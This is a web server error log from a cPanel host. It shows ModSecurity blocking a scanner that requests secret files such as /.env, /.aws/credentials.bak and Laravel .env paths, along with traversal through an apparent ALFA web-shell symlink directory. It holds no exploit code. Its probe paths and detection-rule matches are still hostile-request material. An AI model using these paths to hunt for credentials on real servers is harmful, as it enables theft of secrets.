[Tue Oct 27 09:00:57.672792 2026] [security2:error] [pid 3233596:tid 3233596] [client 20.194.0.112:4362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "auCgiTyZibD2nTuanG6-ZwAAAAk"]
[Tue Oct 27 09:00:57.672839 2026] [security2:error] [pid 3233596:tid 3233596] [client 20.194.0.112:4362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "auCgiTyZibD2nTuanG6-ZwAAAAk"]
[Tue Oct 27 09:00:58.598563 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.206.212.24:36652] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:01:02.069851 2026] [cgi:error] [pid 3233596:tid 3233596] [client 20.194.0.112:4362] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Tue Oct 27 09:01:02.518904 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 54.84.102.81:5386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:01:06.425747 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 98.84.200.43:40407] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:01:13.878476 2026] [authz_core:error] [pid 3220898:tid 3220898] [client 85.217.149.15:56556] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 09:01:18.450427 2026] [ssl:error] [pid 3227580:tid 3227580] (5)Input/output error: [client 34.224.9.144:60507] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:01:22.724054 2026] [security2:error] [pid 3233612:tid 3233612] [client 3.90.73.206:50707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:00/power/"] [unique_id "auCgolM_FuE1vMFqaX9giwAAABE"]
[Tue Oct 27 09:01:22.724099 2026] [security2:error] [pid 3233612:tid 3233612] [client 3.90.73.206:50707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:00/power/"] [unique_id "auCgolM_FuE1vMFqaX9giwAAABE"]
[Tue Oct 27 09:01:28.126994 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 85.208.96.196:51152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/block/sr0/device/subsystem/drivers_probe
[Tue Oct 27 09:01:30.509731 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 3.221.222.168:31658] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:01:34.494084 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 100.28.49.152:26849] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:01:38.679200 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 3.213.106.226:40497] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:01:42.510883 2026] [core:crit] [pid 3233595:tid 3233595] (13)Permission denied: [client 216.244.66.250:54370] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/32/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/32/fd/' is executable
[Tue Oct 27 09:01:42.510942 2026] [core:crit] [pid 3233595:tid 3233595] (13)Permission denied: [client 216.244.66.250:54370] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/32/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/32/map_files/' is executable
[Tue Oct 27 09:01:42.510957 2026] [core:crit] [pid 3233595:tid 3233595] (13)Permission denied: [client 216.244.66.250:54370] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/32/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/32/fdinfo/' is executable
[Tue Oct 27 09:01:43.985228 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.225.138.57:37311] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:01:45.815186 2026] [core:crit] [pid 3209603:tid 3209603] (13)Permission denied: [client 216.244.66.250:54380] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/626/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/626/fd/' is executable
[Tue Oct 27 09:01:45.815268 2026] [core:crit] [pid 3209603:tid 3209603] (13)Permission denied: [client 216.244.66.250:54380] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/626/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/626/map_files/' is executable
[Tue Oct 27 09:01:45.815290 2026] [core:crit] [pid 3209603:tid 3209603] (13)Permission denied: [client 216.244.66.250:54380] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/626/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/626/fdinfo/' is executable
[Tue Oct 27 09:01:48.547301 2026] [core:crit] [pid 3233596:tid 3233596] (13)Permission denied: [client 216.244.66.250:54394] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/673/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/673/fd/' is executable
[Tue Oct 27 09:01:48.547347 2026] [core:crit] [pid 3233596:tid 3233596] (13)Permission denied: [client 216.244.66.250:54394] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/673/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/673/map_files/' is executable
[Tue Oct 27 09:01:48.547362 2026] [core:crit] [pid 3233596:tid 3233596] (13)Permission denied: [client 216.244.66.250:54394] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/673/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/673/fdinfo/' is executable
[Tue Oct 27 09:01:58.628232 2026] [core:crit] [pid 3227580:tid 3227580] (13)Permission denied: [client 52.0.105.244:20319] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194759/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194759/fd/' is executable
[Tue Oct 27 09:01:58.628281 2026] [core:crit] [pid 3227580:tid 3227580] (13)Permission denied: [client 52.0.105.244:20319] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194759/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194759/map_files/' is executable
[Tue Oct 27 09:01:58.628297 2026] [core:crit] [pid 3227580:tid 3227580] (13)Permission denied: [client 52.0.105.244:20319] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194759/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194759/fdinfo/' is executable
[Tue Oct 27 09:02:06.563619 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 107.20.255.194:55861] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:02:22.637251 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 54.85.126.86:30215] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:02:29.466198 2026] [core:error] [pid 3230467:tid 3230467] (13)Permission denied: [client 185.191.171.13:52522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/destroy_by_rcu
[Tue Oct 27 09:02:41.604472 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 185.191.171.9:64708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:02:46.682741 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 23.23.103.31:59970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:02:50.806202 2026] [core:error] [pid 3237846:tid 3237846] (13)Permission denied: [client 3.94.156.104:37064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/driver/module/drivers/pci:piix4_smbus/unbind
[Tue Oct 27 09:02:54.818124 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 3.219.81.66:38803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:02.735371 2026] [core:error] [pid 3237869:tid 3237869] (13)Permission denied: [client 52.204.37.237:53304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/virtio2/driver/bind
[Tue Oct 27 09:03:06.731220 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 54.84.93.8:1146] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:18.977031 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 18.204.89.56:2266] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:19.444975 2026] [authz_core:error] [pid 3233596:tid 3233596] [client 103.155.27.147:37404] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini, referer: https://sherwinpinturas.com/col2
[Tue Oct 27 09:03:22.810716 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 52.204.253.129:38455] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:35.019679 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 52.3.127.170:6937] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:39.225369 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 52.1.157.90:41770] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:42.933629 2026] [ssl:error] [pid 3237900:tid 3237900] (70014)End of file found: [client 50.17.193.48:43262] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:50.867292 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 44.208.223.68:1405] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:54.912687 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.226.106.93:59125] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:59.014678 2026] [ssl:error] [pid 3237843:tid 3237843] (70014)End of file found: [client 34.225.87.80:15876] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:03:59.552147 2026] [authz_core:error] [pid 3237900:tid 3237900] [client 207.175.194.102:42530] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 09:03:59.897299 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auChPzyZibD2nTuanG6-jQAAAAk"]
[Tue Oct 27 09:03:59.897540 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auChPzyZibD2nTuanG6-jQAAAAk"]
[Tue Oct 27 09:03:59.897967 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auChPzyZibD2nTuanG6-jQAAAAk"]
[Tue Oct 27 09:04:00.050288 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auChQDyZibD2nTuanG6-jwAAAAk"]
[Tue Oct 27 09:04:00.050550 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auChQDyZibD2nTuanG6-jwAAAAk"]
[Tue Oct 27 09:04:00.050858 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auChQDyZibD2nTuanG6-jwAAAAk"]
[Tue Oct 27 09:04:00.054081 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/.aws/config"] [unique_id "auChQLL0NGPtr6217jDWaQAAAAA"]
[Tue Oct 27 09:04:00.054131 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/.aws/config"] [unique_id "auChQLL0NGPtr6217jDWaQAAAAA"]
[Tue Oct 27 09:04:00.055131 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auChQGUNDY12-2npPMSGiAAAAAo"]
[Tue Oct 27 09:04:00.055327 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auChQGUNDY12-2npPMSGiAAAAAo"]
[Tue Oct 27 09:04:00.055550 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auChQGUNDY12-2npPMSGiAAAAAo"]
[Tue Oct 27 09:04:00.127843 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auChQLvyvYxrvOc4a9_XrQAAAAI"]
[Tue Oct 27 09:04:00.128334 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auChQLvyvYxrvOc4a9_XrQAAAAI"]
[Tue Oct 27 09:04:00.128609 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auChQLvyvYxrvOc4a9_XrQAAAAI"]
[Tue Oct 27 09:04:00.128798 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auChQG_oZ855J3-bmxErCAAAAAY"]
[Tue Oct 27 09:04:00.128961 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auChQG_oZ855J3-bmxErCAAAAAY"]
[Tue Oct 27 09:04:00.129198 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auChQG_oZ855J3-bmxErCAAAAAY"]
[Tue Oct 27 09:04:00.131275 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auChQGUNDY12-2npPMSGiQAAAAo"]
[Tue Oct 27 09:04:00.131406 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auChQGUNDY12-2npPMSGiQAAAAo"]
[Tue Oct 27 09:04:00.131626 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auChQGUNDY12-2npPMSGiQAAAAo"]
[Tue Oct 27 09:04:00.203395 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "auChQDyZibD2nTuanG6-kQAAAAk"]
[Tue Oct 27 09:04:00.203455 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auChQLvyvYxrvOc4a9_XrgAAAAI"]
[Tue Oct 27 09:04:00.203613 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "auChQDyZibD2nTuanG6-kQAAAAk"]
